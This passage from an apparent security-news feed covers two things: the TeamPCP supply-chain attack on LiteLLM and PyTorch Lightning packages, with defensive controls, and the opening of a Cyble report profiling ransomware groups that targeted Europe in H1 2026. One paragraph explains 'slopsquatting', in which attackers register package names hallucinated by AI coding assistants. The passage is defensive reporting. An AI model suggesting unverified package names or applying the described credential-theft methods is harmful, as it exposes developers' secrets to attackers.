<p class="wp-block-paragraph">The attack chain for LiteLLM followed a now-familiar sequence. TeamPCP obtained the maintainer’s PyPI publishing credentials, pushed malicious versions that were virtually indistinguishable from the official package, and embedded a multi-stage payload designed to harvest high-value secrets: AWS, GCP and Azure tokens, SSH keys and cloud account credentials. <a href="https://www.zscaler.com/blogs/security-research/supply-chain-attacks-surge-march-2026" target="_blank" rel="noreferrer noopener">According to Zscaler ThreatLabz</a>, the poisoned packages were available for approximately three hours before quarantine. Three hours was enough to reach tens of thousands of corporate environments.</p>



<p class="wp-block-paragraph">And it did not stop with LiteLLM. In late April 2026, PyTorch Lightning versions 2.6.2 and 2.6.3 were found to contain credential-stealing malware that executed on import. A single malicious workflow file exposed secrets across entire CI/CD pipelines.</p>



<h2 class="wp-block-heading">Why AI development environments are uniquely exposed</h2>



<p class="wp-block-paragraph">Most supply chain attacks are bad. Supply chain attacks targeting AI development environments are worse.</p>



<p class="wp-block-paragraph">AI and ML environments blend development, research, cloud infrastructure, data access, model publishing and automation inside the same workspace. A compromised Python package in a standard web application might steal a database credential. The same attack in an AI development environment can expose model weights, training data, cloud tokens across multiple providers, CI/CD pipeline secrets and production API keys — simultaneously, from a single infected dependency.</p>



<p class="wp-block-paragraph">There is a second layer that most security teams are not accounting for. When developers use AI coding assistants to write code, those assistants frequently suggest pip install directives and import statements that reference specific packages. If the developer trusts the suggestion and installs the named package, and an attacker has already registered a malicious package under that name, the attack succeeds without the attacker ever interacting with the developer directly. Researchers have named this slopsquatting — and <a href="https://arxiv.org/pdf/2605.17062" target="_blank" rel="noreferrer noopener">recent research</a> found that across nearly 200,000 Python prompts, every major LLM generates hallucinated package names that do not exist on PyPI, creating a persistent attack surface that no individual model update can fully address.</p>



<p class="wp-block-paragraph">Your developers are not doing anything wrong. They are using the tools that make them productive. The security assumption underneath those tools is broken.</p>



<h2 class="wp-block-heading">3 controls that matter right now</h2>



<h3 class="wp-block-heading">1. Pin your dependencies and verify integrity</h3>



<p class="wp-block-paragraph">Floating version specifiers — requests&gt;=2.0 rather than requests==2.31.0 — allow package managers to silently pull updates that include malicious code. Pin every dependency in your AI development environments to an exact version and verify checksums against a known-good hash. This alone would have limited the blast radius of the LiteLLM attack to environments that explicitly upgraded to the compromised versions rather than any environment that ran pip install litellm without constraints.</p>



<h3 class="wp-block-heading">2. Audit post-install hooks in your development pipeline</h3>



<p class="wp-block-paragraph">The LiteLLM attack embedded its payload using Python’s .pth file mechanism — code that executes automatically during interpreter initialization, before any import statement runs. Post-install hooks and .pth file manipulation are a documented attack class, but enforcement in developer environments is inconsistent. Require review of packages that include post-install scripts before they reach developer machines. Tools like Socket and Sonatype provide real-time analysis of PyPI packages for malicious behavior before installation. This is not a nice-to-have. Given the pace of AI tooling adoption, it is a basic control.</p>



<h3 class="wp-block-heading">3. Rotate cloud credentials immediately after any suspected exposure</h3>



<p class="wp-block-paragraph">The LiteLLM payload targeted AWS, GCP and Azure tokens specifically because those credentials provide lateral movement across cloud environments. If your development pipelines pulled LiteLLM during the March 24 exposure window, treat every cloud credential accessible from those environments as potentially compromised and rotate them. Review your cloud provider audit logs for activity patterns that do not correspond to developer-initiated requests — the signature of a stolen token being used by an attacker in a different location.</p>



<h2 class="wp-block-heading">What this means for security teams</h2>



<p class="wp-block-paragraph">The TeamPCP campaign is not the end of this pattern. It is a proof of concept that AI infrastructure is now a target class. LiteLLM, PyTorch Lightning and the tools in between are packages your AI teams depend on every day. The attackers know that. They know that developers move fast, that AI tooling adoption outpaces security review cycles and that a malicious .pth file is invisible to most endpoint detection products.</p>



<p class="wp-block-paragraph">The controls above are not complex. They do not require new vendors or new platforms. They require treating Python package installation in AI development environments with the same rigor you apply to production deployments — because in 2026, the distance between a developer’s local environment and your production infrastructure is shorter than it has ever been, and attackers have noticed.</p>



<p class="wp-block-paragraph">Your developers trust their tools. Make sure that trust is warranted.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors]]></title>
<description><![CDATA[Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced 866 documented ransomware attacks, 51 confirmed data breach incidents, and 7 initial access...]]></description>
<link>https://tsecurity.de/de/3710441/it-security-nachrichten/ransomware-threats-in-europe-h1-2026-a-deep-dive-into-regional-attack-patterns-and-dominant-threat-actors/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3710441/it-security-nachrichten/ransomware-threats-in-europe-h1-2026-a-deep-dive-into-regional-attack-patterns-and-dominant-threat-actors/</guid>
<pubDate>Sat, 08 Aug 2026 00:35:23 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1440" height="720" src="https://cyble.com/wp-content/uploads/2026/08/Ransomware-Threats-in-Europe-2026.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Ransomware, Ransomware Threats Europe, Ransomware in Europe" decoding="async" srcset="https://cyble.com/wp-content/uploads/2026/08/Ransomware-Threats-in-Europe-2026.webp 1440w, https://cyble.com/wp-content/uploads/2026/08/Ransomware-Threats-in-Europe-2026-300x150.webp 300w, https://cyble.com/wp-content/uploads/2026/08/Ransomware-Threats-in-Europe-2026-1024x512.webp 1024w, https://cyble.com/wp-content/uploads/2026/08/Ransomware-Threats-in-Europe-2026-768x384.webp 768w" sizes="(max-width: 1440px) 100vw, 1440px" title="Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors 2"></p>
<p><!-- wp:paragraph --></p>
<p>Europe faced a ransomware onslaught in the first half of 2026 that sets a troubling precedent for the remainder of the year. According to Cyble Research and Intelligence Labs (CRIL), the region experienced <strong>866 documented ransomware attacks</strong>, <strong>51 confirmed data breach incidents</strong>, and <strong>7 initial access sales</strong> between January and June 2026. These figures represent not just a volume problem, but a fundamental shift in how threat actors are organizing, targeting, and monetizing their operations within European territory.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>What distinguishes the ransomware threats in Europe from other global regions is the <strong>concentration of power among a small number of highly sophisticated threat actors</strong>. While the threat ecosystem encompasses dozens of groups, five dominant ransomware operators account for approximately 55% of all documented activity. This concentration creates predictability—European security leaders can now identify, profile, and build specific defensive strategies against known adversaries.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>The Five Dominant Ransomware Groups Targeting Europe</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>1. Qilin:</strong> The Biggest Ransomware Threat in Europe</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 158 documented incidents (18.2% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Qilin stands as the dominant ransomware threat actor targeting Europe, commanding operational superiority through sophisticated affiliate management, rapid exploit weaponization, and industry-specific targeting intelligence.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Germany:</strong> 32 attacks (highest single-country targeting)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>France:</strong> 28 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>United Kingdom:</strong> 26 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Spain:</strong> 20 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Italy:</strong> 19 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Worldwide Sectoral Targeting:</strong> Qilin demonstrates deliberate sectoral selection rather than opportunistic targeting:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Construction:</strong> 103 incidents (primary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 90 incidents (legal, accounting, consulting firms)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Manufacturing:</strong> 67 incidents (industrial operations)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Government &amp; Law Enforcement:</strong> 19 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Technology:</strong> 22 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Characteristics:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><a href="https://thecyberexpress.com/qilin-inc-ransom-drive-2026-ransomware-surge/">Qilin's dominance</a> stems from understanding European organizational economics. Construction projects operate under time-sensitive contracts with contractually-defined penalties for delay. A single day of downtime on a €50 million construction project can trigger cascading costs exceeding €100,000. This economic reality translates directly into ransom payment likelihood, making Qilin's targeting strategy rational and highly effective.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The group maintains an extensive affiliate network capable of concurrent operations across multiple European nations. Evidence suggests Qilin has compartmentalized its operations: initial access brokers handle reconnaissance and network compromise, mid-tier operators manage lateral movement and privilege escalation, and final-stage operators execute encryption and exfiltration. This division of labor enables rapid scaling and reduces attribution risk.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Why Qilin Dominates:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Industry Expertise:</strong> Deep understanding of construction project timelines and financial exposure</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Affiliate Loyalty:</strong> Competitive payout structures (estimated 70-80% to affiliates) ensure consistent operator recruitment</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Exploit Library:</strong> Rapid weaponization of both known and zero-day vulnerabilities</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Data Monetization:</strong> Established data brokerage partnerships ensure exfiltrated data reaches buyers</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Security Implications:</strong> Organizations in construction, professional services, and manufacturing should treat Qilin as their primary threat actor concern. Defensive strategies must prioritize data exfiltration prevention, network segmentation, and immutable backup infrastructure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>2. The Gentlemen:</strong> The Rising European Threat</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 144 documented incidents (16.6% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Gentlemen represent an emerging threat actor that has achieved remarkable scale in a relatively short operational window. Unlike established groups that evolved from other cybercriminal operations, The Gentlemen appear purpose-built for ransomware-as-a-service operations.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Europe:</strong> 144 attacks (primary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>United States:</strong> 100 attacks (secondary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Thailand:</strong> 35 attacks (supply-chain targeting)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>South Asia:</strong> 40 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Worldwide Sectoral Targeting:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Construction:</strong> 45 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Manufacturing:</strong> 56 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 37 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>IT &amp; ITES:</strong> 36 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 29 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Characteristics:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The Gentlemen's rapid emergence and sustained growth suggest significant operational funding and technical sophistication. The group's geographic diversification—maintaining European dominance while aggressively expanding into Asia-Pacific—indicates either organizational scale or partnerships with regional threat actors.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Notably, The Gentlemen's Thailand targeting (35 incidents) suggests supply-chain attack sophistication. By compromising manufacturing and logistics operations in Thailand, the group can leverage these beachheads for downstream attacks against Western European organizations. This cross-continental supply-chain targeting represents a significant evolution in ransomware operational sophistication.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Key Distinction:</strong> While Qilin focuses on maximizing ransom payments from individual targets, The Gentlemen appear to prioritize <strong>operational scale and geographic expansion</strong>. This suggests the group may be building toward either:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li>A mega-RaaS platform rivaling LockBit's historical dominance</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Preparation for potential acquisition or partnership with state-sponsored actors</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li>Geographic arbitrage—leveraging lower prosecution risk in developing nations while maintaining European operations</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Security Implications:</strong> The Gentlemen's emergence signals market competition is intensifying. Organizations should monitor this group's operational evolution closely, as aggressive growth often precedes operational mistakes that create defensive opportunities.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>3. LockBit:</strong> The Persistent Legacy Threat</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 61 documented incidents (7.0% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>LockBit's presence in European targeting represents a significant finding given sustained law enforcement pressure and multiple platform disruption attempts. Despite being targeted by coordinated international takedown operations, LockBit maintained operational capability throughout H1 2026.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Europe:</strong> 61 attacks (Primary operations)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>North America:</strong> 47 attacks (Secondary operations)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Distributed:</strong> Global presence indicating resilient infrastructure</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Worldwide Sectoral Targeting:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Construction:</strong> 22 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Manufacturing:</strong> 22 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Government &amp; LEA:</strong> 12 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 19 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 13 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Resilience:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>LockBit's continued operations despite international enforcement actions demonstrate several critical lessons:</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list {"ordered":true,"start":1} --></p>
<ol start="1" class="wp-block-list"><!-- wp:list-item -->
<li><strong>Affiliate Compartmentalization:</strong> By maintaining separate operational cells, LockBit can continue operations even when core infrastructure is disrupted</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Rapid Rebranding:</strong> The group has adopted multiple identities and platform variants, complicating attribution</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Infrastructure Redundancy:</strong> Multiple command-and-control server locations across jurisdictions with varying law enforcement cooperation levels</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Operator Recruitment:</strong> Continuous recruitment of new affiliates from emerging cybercriminal talent pools</li>
<p><!-- /wp:list-item --></p></ol>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p>The group's continued viability suggests that <strong>law enforcement actions, while disruptive, are insufficient to eliminate established RaaS operations</strong>. Organizations cannot rely on law enforcement intervention as a defensive strategy; they must assume LockBit and similar groups will remain operational threats indefinitely.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Security Implications:</strong> LockBit should remain on European security teams' active threat monitoring lists. The group maintains technical sophistication, access to critical zero-day exploits, and demonstrated willingness to target European critical infrastructure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>4. Akira:</strong> The Opportunistic European Operator</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 59 documented incidents (6.8% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Akira represents a secondary-tier ransomware group with focused European operations. The group demonstrates strong preference for Manufacturing and Construction sectors, suggesting industry-specific expertise or targeted affiliate recruitment.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Europe &amp; UK:</strong> 59 attacks (Secondary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>North America:</strong> 268 attacks (Primary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary:</strong> Limited operations in other regions</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Worldwide Sectoral Targeting:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Manufacturing:</strong> 54 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Construction:</strong> 57 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 47 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Consumer Goods:</strong> 34 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 13 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Profile:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Akira's disproportionate North American presence (268 attacks) with lower European activity (59 attacks) suggests the group may have established affiliate networks in North America with secondary capacity for European operations. The strong manufacturing and construction focus mirrors Qilin's strategy, indicating these sectors offer superior ransom payment likelihood across multiple geographic markets.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Security Implications:</strong> While not as immediately threatening as Qilin or The Gentlemen, Akira's persistent operations warrant inclusion in threat modeling exercises. European manufacturing and construction organizations should monitor Akira's affiliate recruitment channels and tactical innovations.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>5. Dragonforce:</strong> The Supply-Chain Specialist</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 54 documented incidents (6.2% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Dragonforce rounds out the top-five European threat actors with apparent specialization in Manufacturing and Technology sectors, suggesting possible supply-chain attack capabilities.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Geographic Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>North America:</strong> 135 attacks (Primary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Europe &amp; UK:</strong> 54 attacks (Secondary focus)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Secondary:</strong> Limited global operations</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Worldwide Sectoral Targeting:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Manufacturing:</strong> 31 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Construction:</strong> 48 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 28 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Food &amp; Beverages:</strong> 9 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 9 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Operational Pattern:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Dragonforce's heavy US focus with secondary European operations suggests the group may be leveraging North American-based supply chains to gain access to European targets. Manufacturing supply chains are deeply interconnected across transatlantic partners; compromising US manufacturers could provide lateral access into European operations.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>European Security Implications:</strong> European manufacturing organizations should implement aggressive third-party risk management programs, particularly for US-based suppliers. Dragonforce's supply-chain sophistication suggests the group may bypass direct targeting in favor of compromising upstream vendors.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":5} --></p>
<h5 class="wp-block-heading"><strong>Also read:</strong> <a href="https://cyble.com/blog/most-active-threat-actors-h1-2026/">The Most Active Threat Actors of H1 2026</a></h5>
<p><!-- /wp:heading --></p>
<p><!-- wp:heading --></p>
<h2 class="wp-block-heading"><strong>The Five Most Targeted European Nations</strong></h2>
<p><!-- /wp:heading --></p>
<p><!-- wp:image {"id":123078,"sizeSlug":"large","linkDestination":"none","align":"center"} --></p>
<figure class="wp-block-image aligncenter size-large"><img src="https://cyble.com/wp-content/uploads/2026/08/Top-European-Nations-Targeted-by-Ransomware-in-2026_H1-1-1024x217.webp" alt="" class="wp-image-123078"><figcaption class="wp-element-caption">Top five European Nations Attacked by Ransomware Actors in 2026 H1 (Source: Cyble Research)</figcaption></figure>
<p><!-- /wp:image --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>Germany: </strong>The Manufacturing Battleground</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 155 ransomware attacks (17.9% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>Germany's position as Europe's manufacturing powerhouse places it at the center of ransomware targeting campaigns. The nation's industrial sector—encompassing automotive, machinery, chemicals, and precision manufacturing—represents the most valuable ransomware target set in Europe.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Threat Actor Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Qilin:</strong> 32 attacks (20.6% of German total)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>The Gentlemen:</strong> 32 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>LockBit:</strong> 18 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Akira:</strong> 32 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Dragonforce:</strong> 9 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Sectoral Breakdown:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Manufacturing:</strong> 67 incidents (significant concentration)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Construction:</strong> 38 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 28 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Technology:</strong> 15 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Healthcare:</strong> 12 incidents</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:heading {"level":4} --></p>
<h4 class="wp-block-heading"><strong>Why Germany Faces Maximum Pressure</strong></h4>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p>German organizations represent an optimal target combination: high asset value, supply-chain criticality, strong operational technology integration, and proven willingness to pay ransoms to maintain production schedules. Additionally, Germany's federal structure creates jurisdictional complexity that may slow law enforcement response.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The nation's Mittelstand (mid-market manufacturing firms) are particularly vulnerable—large enough to justify ransom payments, but sometimes lacking enterprise-grade security infrastructure.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Defensive Priority:</strong> German manufacturing organizations should assume Qilin, The Gentlemen, Akira, and Dragonforce all maintain active operations targeting their sector. Network segmentation between IT and operational technology (OT) environments should be elevated to critical priority.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:heading {"level":3} --></p>
<h3 class="wp-block-heading"><strong>United Kingdom:</strong> The Financial Services Crosshairs</h3>
<p><!-- /wp:heading --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Attack Volume:</strong> 138 ransomware attacks (15.9% of regional total)</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p>The UK faces a different threat profile than Germany, driven primarily by London's position as a global financial services hub. While manufacturing is targeted, Banking, Financial Services, and Insurance (BFSI) organizations command disproportionate attention.</p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Threat Actor Concentration:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>Qilin:</strong> 26 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>The Gentlemen:</strong> 26 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>LockBit:</strong> 18 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Akira:</strong> 13 attacks</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Dragonforce:</strong> 11 attacks</li>
<p><!-- /wp:list-item --></p></ul>
<p><!-- /wp:list --></p>
<p><!-- wp:paragraph --></p>
<p><strong>Sectoral Breakdown:</strong></p>
<p><!-- /wp:paragraph --></p>
<p><!-- wp:list --></p>
<ul class="wp-block-list"><!-- wp:list-item -->
<li><strong>BFSI:</strong> 38 incidents (concentrated targeting)</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Technology:</strong> 32 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Retail:</strong> 26 incidents</li>
<p><!-- /wp:list-item --></p>
<p><!-- wp:list-item --></p>
<li><strong>Professional Services:</strong> 24 incidents</li>
<p><!-- /wp:list-item --></p>
